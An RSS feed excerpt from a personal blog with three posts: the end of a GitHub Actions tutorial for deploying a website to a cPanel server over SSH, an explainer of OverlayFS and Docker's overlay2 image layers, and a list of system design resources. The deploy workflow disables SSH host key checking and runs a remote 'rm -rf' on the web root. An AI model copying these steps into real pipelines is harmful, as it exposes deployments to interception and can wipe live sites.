<p>After following the steps you will find that Authorization Status is <code>not authorized</code> . To authorize the key, Click 'Manage' buttion in the same row and press 'Authorize'.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718420179148/29831f11-6e4f-491f-9e20-e542cf5e9a92.png" alt class="image--center mx-auto" /></p>
<p>Now we are done with cPanle. Lets go to our website's github repo. To automate the deplyment process we need authentication to access the server. To store our authentication credentials and secrets we will use 'Secrets and variables' actions under Settings tab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718420622095/35b3debe-c3a2-40a6-bb89-d8806be93162.png" alt class="image--center mx-auto" /></p>
<p>We will store our server domain name/IP, Username and Private Key by pressing 'New repository secret' button for each secret.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718420702889/408aa512-be7f-4bac-9785-768a1d001776.png" alt class="image--center mx-auto" /></p>
<p>After that lets pull our website using <code>git pull</code> and create <code>.github/workflows/deploy.yml</code> file in the root directory of the source code. In this file, we will paste the following YAML code. (<em>make change according to your need</em>)</p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Deploy</span> <span class="hljs-string">Website</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">deploy:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Checkout</span> <span class="hljs-string">repository</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Node.js</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v4</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">node-version:</span> <span class="hljs-string">"22.2.0"</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Build</span> <span class="hljs-string">Project</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          npm ci
          npm run build
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Setup</span> <span class="hljs-string">SSH</span> <span class="hljs-string">Key</span>
        <span class="hljs-attr">env:</span>
          <span class="hljs-attr">SSH_PRIVATE_KEY:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.SSH_PRIVATE_KEY</span> <span class="hljs-string">}}</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          mkdir -p ~/.ssh
          echo "$SSH_PRIVATE_KEY" | tr -d '\r' &gt; ~/.ssh/id_rsa
          chmod 600 ~/.ssh/id_rsa
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Deployment</span>
        <span class="hljs-attr">env:</span>
          <span class="hljs-attr">REMOTE_HOST:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.REMOTE_HOST</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">REMOTE_USERNAME:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.REMOTE_USERNAME</span> <span class="hljs-string">}}</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          zip -r dist.zip ./dist/
</span>
          <span class="hljs-comment"># Remove existing files on remote server</span>
          <span class="hljs-string">ssh</span> <span class="hljs-string">-o</span> <span class="hljs-string">StrictHostKeyChecking=no</span> <span class="hljs-string">-i</span> <span class="hljs-string">~/.ssh/id_rsa</span> <span class="hljs-string">$REMOTE_USERNAME@$REMOTE_HOST</span> <span class="hljs-string">'rm -rf ~/public_html/* || true'</span>

          <span class="hljs-comment"># Upload new files</span>
          <span class="hljs-string">scp</span> <span class="hljs-string">-o</span> <span class="hljs-string">StrictHostKeyChecking=no</span> <span class="hljs-string">-i</span> <span class="hljs-string">~/.ssh/id_rsa</span> <span class="hljs-string">dist.zip</span> <span class="hljs-string">$REMOTE_USERNAME@$REMOTE_HOST:~/public_html/</span>

          <span class="hljs-comment"># Unzip and move files</span>
          <span class="hljs-string">ssh</span> <span class="hljs-string">-o</span> <span class="hljs-string">StrictHostKeyChecking=no</span> <span class="hljs-string">-i</span> <span class="hljs-string">~/.ssh/id_rsa</span> <span class="hljs-string">$REMOTE_USERNAME@$REMOTE_HOST</span> <span class="hljs-string">'cd ~/public_html &amp;&amp; unzip dist.zip &amp;&amp; mv dist/* . &amp;&amp; rm -rf dist*'</span>
</code></pre>
<p>Now, everytime when you will push the source code into github on master branch, an Action will trigger and deploy you code into your server.</p>
]]></content:encoded></item><item><title><![CDATA[Demystifying Docker: Unveiling the Magic of OverlayFS in Image & Container Management]]></title><description><![CDATA[More than a year ago, I began exploring Docker's internal architecture to understand how it functions under the hood. Although I gathered extensive knowledge, I did not document my findings at the time. In this blog, I will share a portion of that ex...]]></description><link>https://blog.kcnaiamh.com/demystifying-docker-unveiling-the-magic-of-overlayfs-in-image-container-management</link><guid isPermaLink="true">https://blog.kcnaiamh.com/demystifying-docker-unveiling-the-magic-of-overlayfs-in-image-container-management</guid><category><![CDATA[Docker]]></category><category><![CDATA[overlay]]></category><category><![CDATA[filesystem]]></category><category><![CDATA[Dockerfile]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 08 Jun 2024 06:26:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/xG8IQMqMITM/upload/5a67bb2740062fb16b6d762fec5cc755.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>More than a year ago, I began exploring Docker's internal architecture to understand how it functions under the hood. Although I gathered extensive knowledge, I did not document my findings at the time. In this blog, I will share a portion of that exploration, focusing on the Overlay Filesystem (OverlayFS), its functionality, and how Docker leverages it to manage images and containers.</p>
<p>To understand how docker utilized overlayFS, we need to first understand what is OverlayFS and how it works.</p>
<p>OverlayFS is a type of filesystem service for Linux that allows for the layering of multiple directories to form a unified filesystem. This functionality is particularly useful in environments where a separation between static, read-only data and dynamic, writable data is beneficial, such as in containerized applications.</p>
<p>Internally, OverlayFS operates by combining two directories called layers: a lower layer and an upper layer. The lower layer is typically read-only and contains the base files and directories. The upper layer is writable and is where changes and new files are stored. When a file or directory is accessed, OverlayFS first checks the upper layer. If the file is present in the upper layer, it is used. If it is not found, the system looks in the lower layer. This way, the upper layer effectively overlays the lower layer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717816396589/b7735d54-bcb9-43df-8e5f-b80e6648424e.png" alt class="image--center mx-auto" /></p>
<p>When a file in the lower layer is modified, OverlayFS does not alter the lower layer directly. Instead, it copies the file to the upper layer, where the changes are then made. This process is known as "copy-up." Subsequent access to this file will read from the modified version in the upper layer. Similarly, when a file is deleted, it is not removed from the lower layer. Instead, a character file is created in the upper layer, indicating that the file should be considered deleted.</p>
<p>This approach provides several advantages. It allows for the preservation of the original data in the lower layer while maintaining a complete view of the filesystem that includes modifications and additions. It also enables efficient use of storage, as only modified and new files consume space in the writable upper layer. Furthermore, OverlayFS simplifies the rollback of changes and updates, as the lower layer can remain untouched and intact.</p>
<p>We will practically see how OverlayFS is used to manage the layered nature of container images and their writable layers later section of this blog.</p>
<p>Now lets create and overlay file system by our selves. For this we have created a dummy folders and files structure as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717819890671/14bc9b0d-aa42-4924-84b0-a167fa27a60b.png" alt class="image--center mx-auto" /></p>
<p>We will use the following command to create the overlay layer.</p>
<pre><code class="lang-bash">mount -t overlay -o lowerdir=lower_layer/,upperdir=upper_layer/,\
workdir=temp_layer/ none overlay_layer/
</code></pre>
<p>By running the <code>df -ah</code> command you can see that our <code>overlay_layer</code> is running as <code>none</code> file system</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566510134/f303de46-f117-4c1b-a891-b0c0403a70cf.png" alt class="image--center mx-auto" /></p>
<p>Using <code>tree</code> command we can see the structure includes several key layers: <code>lower_layer</code>, <code>overlay_layer</code>, <code>temp_layer</code>, and <code>upper_layer</code>.</p>
<p>The <code>lower_layer</code> represents the base image in our scenario, containing the foundational files upon which other layers build. Inside the <code>base_image</code> directory, we have several files named <code>PART1.txt</code> through <code>PART4.txt</code>, as well as <code>common.txt</code>, <code>second_instruction.txt</code>, and <code>third_instruction.txt</code>. These files form the initial content that is common across multiple layers.</p>
<p>The <code>overlay_layer</code> also contains a <code>base_image</code> directory mirroring the <code>lower_layer</code>. This layer includes identical files (<code>PART1.txt</code> through <code>PART4.txt</code>, <code>second_instruction.txt</code>, and <code>third_instruction.txt</code>), indicating that the overlay layer starts as a copy of the lower layer.</p>
<p>The <code>temp_layer</code> contains a <code>work</code> directory, which serves as a temporary workspace for OverlayFS to manage the merging of the lower and upper layers. This workspace is crucial for operations that modify the file system, ensuring consistency and stability.</p>
<p>Finally, the <code>upper_layer</code> contains only one file, <code>common.txt</code>, which contains different content <code>common.txt</code> file than the lower layer. Overlay layer only tracked the <code>upper_layer</code>'s <code>common.txt</code> file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566521751/eef4c291-dbf3-4b9d-a9c6-dd6bbd8afa33.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566530669/99912350-fbad-4050-8219-4bcf72618d52.png" alt class="image--center mx-auto" /></p>
<p>Now lets create a new file in <code>overlay_layer</code> folder. We can see that the newly created file is also inside the <code>upper_layer</code> folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566537902/e213c054-5365-4572-8121-8ef8bb1196db.png" alt class="image--center mx-auto" /></p>
<p>Deleting the newly created file also deletes from the <code>upper_layer</code> folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566548129/f51fdc02-f85e-4939-b2e4-50e8f995005d.png" alt class="image--center mx-auto" /></p>
<p>If we delete the <code>common.txt</code> file then it deletes the file from the <code>overlay_layer</code> and <code>upper_layer</code> folder but this also creates a character file inside <code>upper_layer</code> folder. This character file indicates that this file is deleted and so the common.txt file from the <code>lower_layer</code> is not copied to <code>overlay_layer</code> folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566557346/375d7582-e026-4d3f-b740-417de0abbea6.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566562540/682879a0-78d4-4663-bdfd-d4679d3fbb2f.png" alt class="image--center mx-auto" /></p>
<p>Now, lets update the <code>second_instruction.txt</code> file in <code>overlay_layer</code> folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566570514/182e7a7f-79ee-4cf6-a547-ffb1350707c0.png" alt class="image--center mx-auto" /></p>
<p>We can see that <code>second_instruction.txt</code> in <code>upper_layer</code> is updated, but <code>lower_layer</code> is as it was before.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566577775/a9bed3dc-66b2-4a20-befc-3e8346570578.png" alt class="image--center mx-auto" /></p>
<p>So, we have understood how overlayFS works with two layers. How about there is multiple layers? like docker? Lets try to implement the following diagram.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717822717675/198be8d2-ba28-440f-855a-fe43d0a02b68.png" alt class="image--center mx-auto" /></p>
<p>We will use the following command to build the OverlayFS structure like above diagram.</p>
<pre><code class="lang-bash">mount -t overlay -o lowerdir=overlay_layer/,upperdir=upper_layer_2/,\
workdir=temp_layer/ none overlay_layer_2/
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566586395/7ebf2fe4-3d11-4b28-988a-f79a69e5f769.png" alt class="image--center mx-auto" /></p>
<p>We can see <code>overlay_layer_2</code> has everything identical as <code>overlay_layer</code>. So what happens when we update the <code>overlay_layer</code> now?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566594102/58ed0272-e319-4579-bb07-d2113812d1b0.png" alt class="image--center mx-auto" /></p>
<p>We can see, after creating a new file <code>a.txt</code> inside <code>overlay_layer</code>, <code>upper_layer</code> and <code>overlay_layer_2</code> also updated with the new file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566606891/40c90850-b2e4-40f7-9333-5b9945dbe865.png" alt class="image--center mx-auto" /></p>
<p>When we create a new file inside <code>overlay_layer_2</code>, it updates the <code>upper_layer_2</code> only.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566621578/952c5e06-44c4-4601-b301-a8c08bb25726.png" alt class="image--center mx-auto" /></p>
<p>The above observation tells us that <code>overlay_layer_2</code> is treating <code>overlay_layer</code> as lower layer. So, any update inside <code>overlay_layer_2</code> will not reflect inside <code>overlay_layer</code>, but updating <code>overlay_layer</code> will reflect inside the <code>overlay_layer_2</code>.</p>
<p>Now lets strengthend our understanding on overlayFS by investigating the changes with docker image and containers.</p>
<p>The <code>/var/lib/docker</code> directory is the backbone of Docker's storage and runtime environment. This directory houses everything from images and containers to volumes and network configurations. To identify files larger than 1 megabyte within this directory, we can use the command <code>find . -size +1M</code>. Upon running this command, we discover that all such files are located in the <code>overlay2</code> directory. This indicates that Docker stores its images and containers within the <code>overlay2</code> directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558254973/cc9643fc-f544-46be-bade-65eb8bdb2bc1.png" alt="/var/lib/docker/overlay2 folder with binaries and shared objects" class="image--center mx-auto" /></p>
<p>When you first install Docker on a Linux system, you will notice that the <code>/var/lib/docker/overlay2</code> directory is initially empty. However, as you start interacting with Docker—pulling images from a registry, creating containers, and committing containers into images—this directory will begin to populate and grow in size.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717727932407/13a66155-95d7-445d-aeff-9751659c81e1.png" alt class="image--center mx-auto" /></p>
<p>Now, lets build an image with dockerfile on a fresh machine. We are using the following dockefile to build an image. The Dockerfile sets up a container by first using the lightweight <code>python:3.9-slim</code> image as its base. It then sets the working directory inside the container to <code>/kcnaiamh</code>. The <code>takbir.txt</code> file from the local machine is copied into this directory. The <code>RUN</code> instruction executes the <code>cat takbir.txt</code> command, displaying the contents of the file. Finally, the <code>USER nobody</code> command specifies that the container should run as the <code>nobody</code> user for increased security.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558399626/90cd077a-caca-4138-97b6-349e6173ca49.png" alt class="image--center mx-auto" /></p>
<p>After running the <code>docker build .</code> command, Docker initiates the process of creating an image based on the instructions specified in the Dockerfile. Below, lets outline the detailed steps involved in this process.</p>
<p>The first step involves sending the build context to the Docker daemon. The build context includes all files and directories that will be used during the build process. In this case, the context is quite small, only 3.072kB, as it only contains the Dockerfile and the <code>takbir.txt</code> file.</p>
<p>The build process starts with the instruction <code>FROM python:3.9-slim</code>, which sets the base image for the build. Since this image is not already present on the local machine, Docker pulls it from the Docker Hub repository. The output shows five layers being downloaded (<code>24c63b8dcb66</code>, <code>e7a43413405</code>, <code>cdae7c163d4</code>, <code>cb40e615cf98</code>, <code>06ff06197436</code>), which are different parts of the base image. After all layers are pulled, the image is verified by its digest (<code>sha256:088d9217202188598aac37f8db0929345e124a82134ac66b8bb50ee9750b045b</code>), ensuring its integrity. This step completes with the base image being ready, indicated by the image ID <code>182cc99a2af6</code>.</p>
<p>The second instruction is <code>WORKDIR /kcnaiamh</code>, which sets the working directory inside the container to <code>/kcnaiamh</code>. Docker creates a temporary container to execute this instruction and then removes the container once the instruction is successfully applied, resulting in the intermediate image ID <code>9b8cc55094ae</code>.</p>
<p>The third step is <code>COPY takbir.txt .</code>, which copies the <code>takbir.txt</code> file from the build context to the current working directory inside the image. The resulting intermediate image is identified by <code>05b93a68ab95</code>.</p>
<p>The fourth instruction, <code>RUN cat takbir.txt</code>, runs the command <code>cat takbir.txt</code> inside the container. This command outputs the contents of the file ("Allahu Akbar") to the console. Docker again creates a temporary container to execute the command, and after successful execution, removes the container. The intermediate image ID at this stage is <code>dfba555c9e5b</code>.</p>
<p>The final instruction is <code>USER nobody</code>, which changes the user context for the container to <code>nobody</code> for security purposes. This instruction is also run in a temporary container, and upon successful completion, the intermediate container is removed. The resulting final image ID is <code>e8020179299</code>.</p>
<p>This final image can now be used to run containers with the specified configuration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558853983/9e17fde1-062e-4144-bc9a-b8f454be08b6.png" alt class="image--center mx-auto" /></p>
<p>Previously, we observed that the <code>/var/lib/docker/overlay2</code> directory was empty. Now that we have built the image, we should be able to find the <code>kcnaiamh</code> folder somewhere within this path. To locate it, we can use the command <code>ls -1R | grep "kcnaiamh"</code>, which recursively lists directories and files, filtering the output to show only those containing the name "kcnaiamh".</p>
<p>The output indicates that the <code>kcnaiamh</code> directory is found within two different layers of the Docker overlay filesystem, specifically in paths starting with <code>/25d6761609ad...</code> and <code>/9ff6b8df2eb8...</code>.</p>
<p>Next, we can use the command <code>grep -ri "Allahu"</code> to recursively search for the string "Allahu" within files. The search finds the string "Allahu Akbar" in the file located at <code>/9ff6b8df2eb8.../kcnaiamh/takbir.txt</code>, confirming the content previously displayed by the <code>RUN cat takbir.txt</code> command during the Docker build process.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558959795/2d8966d1-76ff-4bb5-97f4-5431acba5106.png" alt class="image--center mx-auto" /></p>
<p>Let’s explore the contents of the <code>/var/lib/docker/overlay2/l</code> directory. After executing the <code>ls -l</code> command, we observe several hard links pointing to <code>diff</code> directories, which are located in different subdirectories under the <code>overlay2</code> folder. This setup raises the question: What is the purpose of this <code>l</code> directory?</p>
<p>This directory is integral to Docker's <code>overlay2</code> storage driver, which efficiently manages the layering of filesystem changes. The <code>l</code> directory stores hard links to files in the lower layers, optimizing Docker's ability to reference and share files across multiple layers without duplication. By using hard links, Docker ensures quick access to shared files, which enhances performance and reduces storage overhead. The <code>overlay2</code> driver works by stacking read-only layers on top of each other. The role of the <code>l</code> folder is to maintain these references, making file management more efficient. This setup is crucial for maintaining the integrity and efficiency of Docker images and containers, particularly when dealing with complex layer hierarchies and numerous containers.</p>
<p>By leveraging the <code>l</code> directory and its hard links, Docker can efficiently manage the filesystem layers that comprise an image. This ensures that common files are stored only once on disk, while still being accessible from multiple layers. This architecture not only conserves storage space but also speeds up access to files, as the need for redundant copies is eliminated. Thus, the <code>l</code> directory is a key component in Docker’s strategy to streamline container storage and enhance overall performance.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558981707/46e7772c-b9e5-402b-9a09-7e6a2d2591ec.png" alt class="image--center mx-auto" /></p>
<p>The <code>WORKDIR /kcnaiamh</code> instruction in dockerfile created <code>SHBBHRCYVAFCF07ZQ3ZXEDJ2RC</code> layer. And <code>COPY takbir.txt .</code> instruction created <code>T3W3LMFZENSZLZTRNYWTYQXWI</code> layer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716558994894/f23dbd1d-28b4-48ed-9138-0dff524c19c4.png" alt class="image--center mx-auto" /></p>
<p>Now lets update the Dockerfile by adding one more instruction (<code>COPY whoami.txt .</code>) after third instruction.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559114754/07696ec8-47b8-43de-8a50-0983894b2954.png" alt /></p>
<p>Now, lets build a new docker image named <code>new-build</code> using our modified dockerfile. Initially, the Docker engine executes Step 1 up to Step 3 by fetching the layers from the local cache, signified by the "Using cache" message. Notably, their hash values persist unchanged from prior builds.</p>
<p>However, at Step 4, we can see a divergence. Here, a new file, <code>whoami.txt</code> is added into the image, resulting the formation of a new layer. As the build advances, additional directives are executed, such as executing a command to reveal the contents of "takbir.txt" (Step 5) and configuring the user as "nobody" (Step 6). Each of these actions creates new layers, each with its own hash value.</p>
<p>Docker makes the build process faster by using cached layers when possible, avoiding repeated work for unchanged steps. However, any changes in later steps require new layers, showing changes in the image. The final hash value uniquely identifies the complete image, making it easier to recognize and reuse in future Docker tasks.</p>
<p>Even though the instructions in Steps 5 and 6 of the Dockerfile are the same as in the previous build, Docker's caching works step-by-step. This means that even if the instructions haven't changed, they are part of a new build context because of the new layer added in Step 4. Docker checks for changes in each step, including changes to files or directories in the build directory. If any part of the build context changes, Docker doesn't reuse the cache for that step. So, even though the instructions in Steps 5 and 6 haven't changed, Docker treats them as new steps in the current build, requiring them to run again and creating new layers with unique hash values.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559126820/5b63809a-6a12-4588-814d-9749d9aca6db.png" alt class="image--center mx-auto" /></p>
<p>After building the image we see another new layer (folder) is created and inside that we see the <code>whoami.txt</code> file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559175865/0ab70c03-fa19-4c54-a3f5-a7f18066cf44.png" alt class="image--center mx-auto" /></p>
<p>Now lets build another image, but we will just remove the last command from our previous dockerfile which set the user to <code>nouser</code>. So the container from the new image will run as <code>root</code> user.<br />Also note that, this time all the layers are fetched from the cache.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559200466/e418a9b6-a5d1-443a-aef0-91119a780200.png" alt class="image--center mx-auto" /></p>
<p>Now lets create a new container from the <code>root-build</code> image and created a directory named <code>naim</code> inside root directory. Inside that direcotry lets create a file named <code>new_thing.txt</code> that contains a specific text.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559240866/defdaa09-5dae-4878-a2c4-23c9fbde0dd8.png" alt class="image--center mx-auto" /></p>
<p>Here we can see 4 new directories, in which most interesting is <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code> directory. It shows the folders that differs from the <code>root-build</code> image. We've created <code>naim</code> folder inside container. <code>.bash_history</code> file is change inside <code>/root</code> folder. ( why <code>usr</code> folder is here? What changed inside <code>usr</code>? I'm not sure (: )</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559257326/b3aeffdf-f3b7-4d45-8430-fa8d0ea12313.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559270196/e744a02e-1589-4b0e-9dc0-90fee9718298.png" alt class="image--center mx-auto" /></p>
<p>Now lets create a new file inside <code>/kcnaiamh</code> directory named <code>newfile.txt</code> and check if <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code> reflect some change.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559403787/9606a9c4-66dd-4296-b902-5a6aa039c3ad.png" alt class="image--center mx-auto" /></p>
<p>Yes, it does. <code>kcnaiamh</code> folder came inside <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code> and it contains the file we just created, <em>not the file it already had</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559412803/64203050-aa36-4ba3-8b84-fa96efb55138.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559534299/8492acba-4900-46d8-b1ab-28b9e1c8af93.png" alt class="image--center mx-auto" /></p>
<p>Interesting. So what happens when we delete a file? Lets figure it out. Lets delete <code>whoami.txt</code> file inside the container.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559547385/2b7e4125-4400-4622-9921-defb13ff86e2.png" alt class="image--center mx-auto" /></p>
<p>We can see a new character file in <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code>. But the acutal <code>whoami.txt</code> file still exists in different layer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559571457/9f558f3a-60d5-47a7-8e0b-ac6f88445466.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559597360/7bcbf922-2a32-444c-8ee6-e820242826a8.png" alt class="image--center mx-auto" /></p>
<p>Now letes delete the <code>naim</code> directory, which we have created inside the running container (not while building image).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559677982/d3abcf0c-12c2-43cf-8365-27364976ff99.png" alt /></p>
<p>We can see the folder does not exists in <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559687425/b676acb1-c44a-4108-8a81-104a33ebf894.png" alt class="image--center mx-auto" /></p>
<p>Now lets delete <code>kcnaiamh</code> derectory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559696415/ff093be1-c714-49e3-9c3c-67088d5b2b04.png" alt /></p>
<p>We can see the directory is deleted from <code>6AIKVNU2UWE3G5Q4B6XGEK5R4H</code> and in place of that a character file is created.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559705781/741d9219-cab0-493d-935c-298dbb189f17.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716559716916/e2894417-3650-418e-b508-5270ec1b8ece.png" alt class="image--center mx-auto" /></p>
<p>From our previous observations, we can conclude that when a container creates or modifies something from the image it is built from, it creates a new layer to store those changes. If we delete something from the container that was created during its runtime, it is removed from this newly created layer. Conversely, if we delete something that was originally part of the image, a new character file is created in the layer to mark this deletion.<br />This is exactly the way OverlayFS works.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716566460682/c439b208-3344-4b48-a2ab-c27afa15e76d.png" alt class="image--center mx-auto" /></p>
<p>From the above screenshot we can see two containers are running. So two overlay file systems are created. The following screenshot displays all the directories inside<code>/var/lib/docker/overlay2/</code> directory.</p>
<p>Within this directory, container IDs with the <code>-init</code> suffix represent the initialization layers of the respective containers. By examining the directories with the same name but without the <code>-init</code> suffix, we find a <code>merged</code> directory inside each.</p>
<p>The <code>merged</code> directory contains the entire file system of the running container, providing a complete view of the container’s filesystem at that layer. This directory structure is a result of Docker's use of the overlay filesystem.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716561449379/5234cf86-fe7a-4965-8f9f-b9da0cfe5741.png" alt class="image--center mx-auto" /></p>
<p>Lets change the content inside this folder. If the change reflects inside the container then we can manipulate the files and folders of container from outside!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716561670397/4f386bf7-7969-450c-98e7-a7adab0ab868.png" alt class="image--center mx-auto" /></p>
<p>Woah! the change actually reflected inside container. Do you know what that means? If we have root access then we can change the container without interacting with docker daemon. Also, note that <code>7adbb45b2373</code> container is build on <code>new-build</code> image. What we had set as <code>nobody</code> user. So we can not do anything to the container by interacting with the docker daemon. But we can manipulate the container if we have the root access to the host machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716561722595/983c5f54-f121-4649-88d8-8a390bb0d830.png" alt class="image--center mx-auto" /></p>
<p>If you reached till here, you are a different beast man! Congratulations. Hope to see you in another of my technical blog.</p>
]]></content:encoded></item><item><title><![CDATA[System Design Resources]]></title><description><![CDATA[Designing Data-Intensive Applications

Golam Hakkani Kawsar bhai suggested to read this book multiple times.


Grokking the System Design Interview

It has interactive hands on examples.


System Design Interview (Volume 1 & 2)

Good for interview pr...]]></description><link>https://blog.kcnaiamh.com/system-design-resources</link><guid isPermaLink="true">https://blog.kcnaiamh.com/system-design-resources</guid><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Thu, 23 May 2024 13:38:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/HtBlQdxfG9k/upload/14276642f79f208f5806912f6b90df02.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ul>
<li><p><a target="_blank" href="https://www.amazon.com/Designing-Data-Intensive-Applications-Reliable-Maintainable/dp/1449373321">Designing Data-Intensive Applications</a></p>
<ul>
<li><a target="_blank" href="https://www.linkedin.com/in/golam-kawsar/">Golam Hakkani Kawsar</a> bhai suggested to read this book multiple times.</li>
</ul>
</li>
<li><p><a target="_blank" href="https://www.designgurus.io/course/grokking-the-system-design-interview">Grokking the System Design Interview</a></p>
<ul>
<li>It has interactive hands on examples.</li>
</ul>
</li>
<li><p>System Design Interview (Volume <a target="_blank" href="https://www.amazon.com/System-Design-Interview-insiders-Second/dp/B08CMF2CQF">1</a> &amp; <a target="_blank" href="https://www.amazon.com/System-Design-Interview-Insiders-Guide/dp/1736049119/ref=pd_bxgy_thbs_d_sccl_1/144-1968526-7858955?pd_rd_w=vnlTc&amp;content-id=amzn1.sym.c51e3ad7-b551-4b1a-b43c-3cf69addb649&amp;pf_rd_p=c51e3ad7-b551-4b1a-b43c-3cf69addb649&amp;pf_rd_r=Z57ES32YT596VXDNWM4R&amp;pd_rd_wg=cXGHg&amp;pd_rd_r=1342a414-b0b8-444f-87e9-73c47faee3c2&amp;pd_rd_i=1736049119&amp;psc=1">2</a>)</p>
<ul>
<li>Good for interview preparation. Not for learning</li>
</ul>
</li>
<li><p><a target="_blank" href="https://github.com/donnemartin/system-design-primer">System Design Primer</a> - Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards.</p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/playlist?list=PLMCXHnjXnTnvo6alSjVkgxV-VH6EPyvoX">System Design for Beginners</a> - playlist by Gaurav Sen</p>
</li>
<li><p>Good blogs for system design.</p>
<ul>
<li><p><a target="_blank" href="https://highscalability.com/">https://highscalability.com</a></p>
</li>
<li><p><a target="_blank" href="https://bytebytego.com/">https://bytebytego.com/</a></p>
</li>
</ul>
</li>
